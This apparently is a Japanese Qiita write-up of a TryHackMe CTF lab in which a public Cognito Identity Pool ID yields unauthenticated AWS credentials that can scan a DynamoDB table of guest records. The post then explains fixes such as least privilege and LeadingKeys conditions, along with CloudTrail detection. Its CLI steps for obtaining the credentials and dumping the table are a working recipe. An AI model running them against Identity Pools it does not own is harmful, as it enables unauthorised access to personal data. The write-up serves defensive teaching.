0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

AWS Cognito Identity Poolの認可不備でDynamoDBを全件取得 — 「フロントの制御」と「IAMの認可」を混同するとこうなる

0
Last updated at Posted at 2026-07-31

はじめに

AWS では、Cognito Identity Pool を使うと「ログイン不要」のゲストアクセスを提供できます。デモアプリ、無料体験、ゲスト向け機能などでよく使われる構成です。

ここで払い出される 未認証ユーザー(Unauthenticated Role)の IAM 権限設定を誤ると、誰でも AWS の一時認証情報を取得し、許可された範囲の AWS リソースへ直接アクセスできてしまいます。

この記事の結論を先に一行で言うと、「フロントエンドのコードでアクセスを制御しても、それは認可ではない。認可は IAM とデータモデルの両方で設計しないと破られる」 ということです。

TryHackMe の CTF 環境(S3 + Cognito Identity Pool + 未認証 IAM Role + DynamoDB)を題材に、攻撃者視点で再現し、AWS 純正の正しい設計と検知方法まで通しで扱います。

免責事項
本記事の検証は、TryHackMe が学習用に提供する演習環境に対してのみ実施しています。自分に権限のないAWSリソースへのアクセスは、不正アクセス禁止法および AWS 利用規約に抵触します。本記事の内容は、自分が管理・許可された環境の設定を確認する目的でのみ利用してください。識別子(Identity Pool ID、テーブル名等)はすべてマスクしています。


構成

S3 Static Website
        │
        ▼
Cognito Identity Pool
        │
        ▼
Unauthenticated IAM Role
        │
        ▼
DynamoDB

フロントエンドの JavaScript に、次の情報が埋め込まれていました。

const IDENTITY_POOL_ID = "us-east-1:xxxx-...";   // マスク
const AWS_REGION        = "us-east-1";
const TABLE_NAME        = "GuestWellnessProfiles"; // マスク

「AWS の情報がフロントにあるのは危険では?」と思うかもしれません。しかし Cognito の Identity Pool ID 自体は、クライアントに埋め込まれる(公開される)前提で設計されています。 これ自体は問題ではありません。

本当に問題になるのは、その ID から払い出される IAM 権限が適切か、という一点です。


攻撃の再現 — ブラウザもアプリのJSも使わない

この構成の怖さを一番よく表すのは、アプリのフロントエンドを一切経由せず、公開されている Identity Pool ID だけで、CLI から完結できる という点です。フロントの制御が認可に関係ないことの実演になります。

1. 未認証IDと一時認証情報を払い出す

# 公開されている Identity Pool ID だけで、未認証IDを取得
aws cognito-identity get-id \
  --identity-pool-id us-east-1:xxxx-... \
  --region us-east-1
# → { "IdentityId": "us-east-1:yyyy-..." }

# その IdentityId で一時認証情報を取得
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:yyyy-... \
  --region us-east-1
# → AccessKeyId / SecretKey / SessionToken が返る

払い出されたロールは xxx-cognito-unauth-role(未認証ロール)でした。

2. 取得した認証情報で DynamoDB を直接叩く

払い出された一時認証情報を環境変数にセットします。

export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

まずテーブル一覧を試します。

aws dynamodb list-tables --region us-east-1
# AccessDeniedException: not authorized to perform: dynamodb:ListTables

拒否されました。ただし ListTablesアカウントレベルの操作なので拒否されているだけで、個別テーブルへの操作まで拒否されているとは限りません。 ここが重要です。

アプリのコードは、自分のゲストIDだけを引く GetItem 設計でした。

// アプリ側は「自分の1件だけ」を取得する想定
dynamodb.getItem({
  TableName: "GuestWellnessProfiles",
  Key: { guest_id: { S: guestId() } }
});

しかし 認可はフロントエンドのコードでは決まりません。 テーブルへの権限が残っているなら、SDK / CLI から任意の操作を試せます。

3. Scan で全件取得

aws dynamodb scan --table-name GuestWellnessProfiles --region us-east-1
{
  "Count": 5,
  "Items": [
    { "guest_id": { "S": "guest-vibe" },
      "email": { "S": "vibe@example.thm" } },
    { "guest_id": { "S": "guest-vip-042" },
      "email": { "S": "vip042@example.thm" },
      "password": { "S": "********" } }
  ]
}

※ 抜粋。全5件を取得できました。

アプリを一度も開かず、公開されている Identity Pool ID だけで全ユーザー情報が取得できた ことになります。


ここで見えた「2つ」の問題

問題A:未認証ロールに Scan が付いていた(認可不備)

ゲストに必要なのは、せいぜい自分の1件を引く GetItem です。にもかかわらず dynamodb:Scan が許可されており、最小権限の原則(Principle of Least Privilege)に反していました。

問題B:パスワードが平文で保存されていた(別の重大問題)

ダンプに password フィールドが平文で含まれていました。これは IAM 認可不備とは独立した第二の指摘事項です。DynamoDB に認証情報を平文で持つこと自体が問題であり、フィールド名(この CTF では権限昇格の入口)が示すとおり、一度漏れれば横展開・昇格に直結します。IAM を直しても、この設計を放置すれば別経路で被害が出ます。


対策

1. Scan を消すだけでは不十分 —「自分の行しか読めない」を IAM で保証する

まず不要な権限を剥がします。

{
  "Effect": "Allow",
  "Action": ["dynamodb:GetItem"],
  "Resource": "arn:aws:dynamodb:us-east-1:*:table/GuestWellnessProfiles"
}

ただし これは必要条件であって十分条件ではありません。 今回のダンプが示すとおり、guest_idguest-vip-042 のように推測可能です。GetItem だけに絞っても、攻撃者は他人の guest_id を推測して他人のレコードを引けます(IDOR / 水平権限昇格)。

この構成に対する AWS 純正の正解は、DynamoDB のきめ細かなアクセス制御(Fine-Grained Access Control) です。IAM ポリシーの Condition に Cognito の Identity ID(sub)を紐づけ、「自分のパーティションキーの行しか操作できない」ように縛ります。

{
  "Effect": "Allow",
  "Action": ["dynamodb:GetItem"],
  "Resource": "arn:aws:dynamodb:us-east-1:*:table/GuestWellnessProfiles",
  "Condition": {
    "ForAllValues:StringEquals": {
      "dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
    }
  }
}

ポイントは データモデル側の設計変更 です。パーティションキーを、アプリ由来の guest-vip-042 のような推測可能な値ではなく、Cognito が払い出す一意な Identity ID(sub)にする。こうすると「自分の行しか取れない」が IAM レベルで保証され、Scan を剥がすだけでは防げない IDOR まで塞げます。

認可は IAM とデータモデルを一体で設計する — これがこの構成の本質的な対策です。

2. そもそも DynamoDB に直アクセスさせない(サーバー側で絞る)

個人情報を扱うなら、クライアントから DynamoDB を直接叩かせる設計自体を見直します。

Client → API Gateway / Lambda → DynamoDB
                └ 必要な項目だけ返す(サーバー側フィルタ)

なお、1 の LeadingKeys は「直アクセスを残すならこう縛る」本命の対策、この 2 は「そもそも直アクセスをやめる」対策で、役割が異なります。要件に応じて選びます。

3. 自分の環境で見つける(検知)

設計を直す前に、まず既存環境に同じ穴がないか棚卸しします。

  • 未認証ロールのポリシーに dynamodb:Scan / Query / * が付いていないか確認する
  • IAM Access Analyzer で過剰権限を洗い出す
  • Identity Pool で「未認証アクセスの許可」が本当に必要か見直す(不要なら無効化が最善)

ログでの検知も設定します。

  • CloudTrail で GetCredentialsForIdentity(未認証の認証情報払い出し)を監視する
  • 注意:DynamoDB のデータプレーン呼び出し(Scan / GetItem 等)は、CloudTrail のデータイベントを有効化しないと記録されません。 「Scan されたのにログに残っていない」の多くはこれが原因です

まとめ

  • Cognito の Identity Pool ID は公開前提。公開されていること自体は問題ではない
  • 問題は、そこから払い出される IAM 権限が過剰かどうか
  • フロントエンドの制御は認可ではない。 アプリを経由せず、公開IDだけで CLI から全件取得できた
  • Scan を剥がすだけでは IDOR が残る。Fine-Grained Access Control(LeadingKeys × Identity ID)でデータモデルごと設計するのが正解
  • 平文パスワードの保管は、IAM とは別の独立した重大問題として扱う
  • 直す前に、Access Analyzer と CloudTrail データイベントで自分の環境を棚卸し・検知できる状態にする

便利なゲストアクセス機能ほど、IAM とデータモデルの設計を誤ると静かに情報漏洩につながります。「認証情報が公開されているから危険」ではなく、その認証情報にどの権限が付いているか、そしてデータモデルがその権限を安全に成立させているかを、常に一体で確認してください。


使用した環境

  • TryHackMe
  • AWS Cognito Identity Pool / IAM / DynamoDB
  • AWS CLI(Cognito Identity, DynamoDB)
  • ※ サンプルの JS コードは AWS SDK for JavaScript v2 系の記法です。v3 はコマンドオブジェクト方式で書き方が異なります

タグ

Security AWS Cognito DynamoDB IAM 脆弱性診断 CTF

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?